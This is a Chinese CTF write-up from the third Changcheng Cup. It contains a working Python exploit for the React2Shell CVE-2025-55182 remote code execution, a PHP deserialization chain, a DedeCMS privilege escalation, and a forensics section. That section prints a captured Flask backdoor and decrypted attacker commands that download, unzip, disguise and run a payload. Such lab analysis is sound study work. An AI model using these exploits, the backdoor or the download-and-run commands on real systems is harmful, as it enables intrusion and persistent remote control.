第三届长城杯个人WP,队友很给力,晋级半决
Web
Dedecms
https://eci-2ze6us9o68958ck4clk6.cloudeci1.ichunqiu.com/member/index.php? uid=Aa123456789&action=infos。注册登陆后发现曾经的用户,可以进入空间,测试登陆Aa123456789/Aa123456789
https://eci-2ze6us9o68958ck4clk6.cloudeci1.ichunqiu.com/dede/index.php 。登陆成功,但很多权限没有,在后台用户管理处提升普通用户test为超级管理员权限,重新登陆,获得超级管理员权限:后台执行sql语句,得到如下信息:
1 2 3
| Database: dedecms @@basedir:/usr/ version():5.7.27-0ubuntu0.16.04.1-log
|
发现后台可以直接创建文件:

写入webshell会被拦截,选择直接读取文件,猜测flag在/flag.txt中,
1 2 3
| <?php highlight_file("/flag.txt"); ?>
|
访问创建的文件:https://eci-2ze6us9o68958ck4clk6.cloudeci1.ichunqiu.com/4.php
hellogate
队友解出的,当时刚换mac不会读取图片内容,fk。。。源码藏在图片里面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php error_reporting(0); class A { public $handle; public function triggerMethod() { echo "" . $this->handle; } } class B { public $worker; public $cmd; public function __toString() { return $this->worker->result; } } class C { public $cmd; public function __get($name) { echo file_get_contents($this->cmd); } } $raw = isset($_POST['data']) ? $_POST['data'] : ''; header('Content-Type: image/jpeg'); readfile("muzujijiji.jpg"); highlight_file(__FILE__); $obj = unserialize($_POST['data']); $obj->triggerMethod();
|
很简单的php反序列化,构造链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php class A { public $handle; } class B { public $worker; public $cmd; } class C { public $cmd; } $a = new A(); $b = new B(); $c = new C(); $a->handle = $b; $b->worker = $c; $c->cmd = "/flag"; echo urlencode(serialize($a));
|

RedJs
React2Shell,CVE-2025-55182,直接出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| import requests import sys import json BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "https://eci2ze34mytd5l8t3rcelfe.cloudeci1.ichunqiu.com:3000/" EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "cat /flag" crafted_chunk = { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": '{"then": "$B0"}', "_response": { "_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}', {{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');", "_formData": { "get": "$1:constructor:constructor", }, }, } files = { "0": (None, json.dumps(crafted_chunk)), "1": (None, '"$@0"'), } headers = {"Next-Action": "x"} res = requests.post(BASE_URL, files=files, headers=headers, timeout=10) print(res.status_code) print(res.text)
|
流量分析
1
过滤http流量,找到登陆爆破的最后的一个包,也是返回响应码为302的请求包,就是答案

2
攻击者使用模版注入读取配置,

读取到’SECRET_KEY’: ‘c6242af0-6891-4510-8432-e1cdf051f160’

3
发现使用了模版注入执行恶意命令,经过base64编码,解码后发现还有zlib和base64。

再解多层zlib和base64,直接循环直到明文出现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| global exc_class global code import os,binascii exc_class, code = app._get_exc_class_and_code(404) RC4_SECRET = b'v1p3r_5tr1k3_k3y' def rc4_crypt(data: bytes, key: bytes) -> bytes: S = list(range(256)) j = 0 for i in range(256): j = (j + S[i] + key[i % len(key)]) % 256 S[i], S[j] = S[j], S[i] i = j = 0 res = bytearray() for char in data: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] res.append(char ^ S[(S[i] + S[j]) % 256]) return bytes(res) def backdoor_handler(): if request.headers.get('X-Token-Auth') != '3011aa21232beb7504432bfa90d32779': return "Error" enc_hex_cmd = request.form.get('data') if not enc_hex_cmd: return "" try: enc_cmd = binascii.unhexlify(enc_hex_cmd) cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode('utf-8', errors='ignore') output_bytes = getattr(os, 'popen')(cmd).read().encode('utf8', errors='ignore') enc_output = rc4_crypt(output_bytes, RC4_SECRET) return binascii.hexlify(enc_output).decode() except: return "Error" app.error_handler_spec[None][code][exc_class]=lambda error: backdoor_handler()
|
通信密钥:v1p3r_5tr1k3_k3y
4
追踪后续TCP流,可以解密通信流量(带有X-Token-Auth: 3011aa21232beb7504432bfa90d32779的 HTTP包),RC4是对称密码算法,直接用题目的代码进行解密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| import binascii RC4_SECRET = b'v1p3r_5tr1k3_k3y' def rc4_crypt(data: bytes, key: bytes) -> bytes: """RC4加密/解密""" S = list(range(256)) j = 0 for i in range(256): j = (j + S[i] + key[i % len(key)]) % 256 S[i], S[j] = S[j], S[i] i = j = 0 res = bytearray() for char in data: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] res.append(char ^ S[(S[i] + S[j]) % 256]) return bytes(res) enc_hex = "e0ac7e52fc996cc2038c2d7a3899ed" enc_bytes = binascii.unhexlify(enc_hex) decrypted = rc4_crypt(enc_bytes, RC4_SECRET) print(f"结果: {decrypted.decode('utf-8')}")
|
解出:
1 2 3 4 5 6 7
| curl 192.168.1.201:8080/shell.zip -o /tmp/123.zip unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip Archive: /tmp/123.zip inflating: /tmp/shell mv /tmp/shell /tmp/python3.13 chmod +x /tmp/python3.13 /tmp/python3.13
|
恶意文件:python3.13